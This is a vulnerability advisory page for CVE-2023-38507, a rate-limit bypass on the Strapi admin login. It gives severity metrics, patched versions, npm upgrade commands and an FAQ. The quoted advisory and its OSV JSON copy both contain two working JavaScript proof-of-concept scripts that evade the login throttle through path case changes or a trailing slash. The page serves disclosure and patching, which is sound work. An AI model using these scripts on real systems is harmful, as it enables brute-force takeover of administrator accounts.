CVE-2023-38507: @strapi/admin Strapi Improper Rate Limiting Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-24q2-59hm-rh9r
CVSS 7.3
CWE-770
Published
Advisory Summary

CVE-2023-38507 is a HIGH (CVSS 7.3) strapi improper rate limiting vulnerability vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting @strapi/admin libraries in the npm ecosystem. The issue involves strapi improper rate limiting vulnerability. Remediation is available by upgrading affected packages to version 4.12.1.

CVE-2023-38507 at a Glance

CVE Identifier CVE-2023-38507
GHSA Identifier GHSA-24q2-59hm-rh9r
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product @strapi/admin
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2023-38507

To remediate this vulnerability, upgrade all affected @strapi/admin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@strapi/admin fixed: 4.12.1
npm install @strapi/admin@4.12.1
@strapi/plugin-users-permissions fixed: 4.12.1
npm install @strapi/plugin-users-permissions@4.12.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @strapi/admin

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2023-38507, inspect your project dependencies using npm:

npm ls @strapi/admin

Analyze the terminal output to locate any version of @strapi/admin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.12.1), your application is affected.

Note: The npm ls @strapi/admin command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In @strapi/admin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### 1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. ### 2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2) ### 3. PoC Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen. #### Pattern 1 (uppercase and lowercase) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### Pattern 2 (trailing slash) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### PoC Video - [PoC Video](https://drive.google.com/file/d/1UHyt6UDpl28CXjltVJmqDvSEkkJIexiB/view?usp=share_link) ### 4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases. ### 5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`) Also, remove any extra slashes in the request path. https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31 ### 6. References - [OWASP: API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/) - [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) - [OWASP: Denial of Service Cheat Sheet (Rate limiting)](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html#rate-limiting)

CVE-2023-38507 Affected @strapi/admin Versions

2 component(s)
Fixed Versions:
4.12.1
Product / Package Ecosystem Affected Versions Fixed Version
@strapi/admin
npm
< 4.12.1
4.12.1
@strapi/plugin-users-permissions
npm
< 4.12.1
4.12.1

References

Frequently Asked Questions

What is CVE-2023-38507?
CVE-2023-38507 is a security vulnerability in @strapi/admin involving Strapi Improper Rate Limiting vulnerability under CWE-770: Allocation of Resources Without Limits or Throttling.
Which @strapi/admin versions are affected?
Affected versions include releases prior to 4.12.1 across affected packages: @strapi/admin, @strapi/plugin-users-permissions.
What version fixes CVE-2023-38507?
Upgrading to 4.12.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @strapi/admin affected?
Yes, @strapi/admin is affected in releases prior to 4.12.1. Upgrade your dependency to 4.12.1 or later.
Is @strapi/plugin-users-permissions affected?
Yes, @strapi/plugin-users-permissions is affected in releases prior to 4.12.1. Upgrade your dependency to 4.12.1 or later.
What is the CVSS score of CVE-2023-38507?
CVE-2023-38507 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2023-38507?
CVE-2023-38507 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check npm dependencies for CVE-2023-38507?
Run the dependency tree command: 'npm ls @strapi/admin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24q2-59hm-rh9r",
  "modified" : "2023-09-13T16:32:26Z",
  "published" : "2023-09-13T16:32:26Z",
  "aliases" : [ "CVE-2023-38507" ],
  "summary" : "Strapi Improper Rate Limiting vulnerability",
  "details" : "### 1. Summary\nThere is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.\n\n### 2. Details\nIt is possible to avoid this by modifying the rate-limited request path as follows.\n1. Manipulating request paths to upper or lower case. (Pattern 1)\n   - In this case, avoidance is possible with various patterns.\n2. Add path slashes to the end of the request path. (Pattern 2)\n\n### 3. PoC\nAccess the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.\n\n#### Pattern 1 (uppercase and lowercase)\n```js\n// poc.js\n(async () => {\n  const data1 = {\n    email: \"admin@strapi.com\",   // registered e-mail address\n    password: \"invalid_password\",\n  };\n  const data2 = {\n    email: \"admin@strapi.com\",\n    password: \"RyG5z-CE2-]*4e4\",   // correct password\n  };\n\n  for (let i = 0; i < 30; i++) {\n    await fetch(\"http://localhost:1337/admin/login\", {\n      method: \"POST\",\n      body: JSON.stringify(data1),\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n  }\n\n  const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res1.status + \" \" + res1.statusText);\n\n  const res2 = await fetch(\"http://localhost:1337/admin/Login\", {  // capitalize part of path\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n#### Pattern 2 (trailing slash)\n```js\n// poc.js\n(async () => {\n  const data1 = {\n    email: \"admin@strapi.com\",   // registered e-mail address\n    password: \"invalid_password\",\n  };\n  const data2 = {\n    email: \"admin@strapi.com\",\n    password: \"RyG5z-CE2-]*4e4\",   // correct password\n  };\n\n  for (let i = 0; i < 30; i++) {\n    await fetch(\"http://localhost:1337/admin/login\", {\n      method: \"POST\",\n      body: JSON.stringify(data1),\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n  }\n\n  const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res1.status + \" \" + res1.statusText);\n\n  const res2 = await fetch(\"http://localhost:1337/admin/login/\", {  // trailing slash\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n\n\n#### PoC Video\n- [PoC Video](https://drive.google.com/file/d/1UHyt6UDpl28CXjltVJmqDvSEkkJIexiB/view?usp=share_link)\n\n### 4. Impact\nIt is possible to bypass the rate limit of the login function of the admin screen. \nTherefore, the possibility of unauthorized login by login brute force attack increases.\n\n### 5. Measures\nForcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`)   \nAlso, remove any extra slashes in the request path.\n\nhttps://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31\n\n### 6. References\n- [OWASP: API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)\n- [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP: Denial of Service Cheat Sheet (Rate limiting)](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html#rate-limiting)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@strapi/admin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.12.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@strapi/plugin-users-permissions"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.12.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-38507"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/strapi/strapi"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/strapi/strapi/releases/tag/v4.12.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-09-13T16:32:26Z",
    "nvd_published_at" : "2023-09-15T20:15:08Z"
  }
}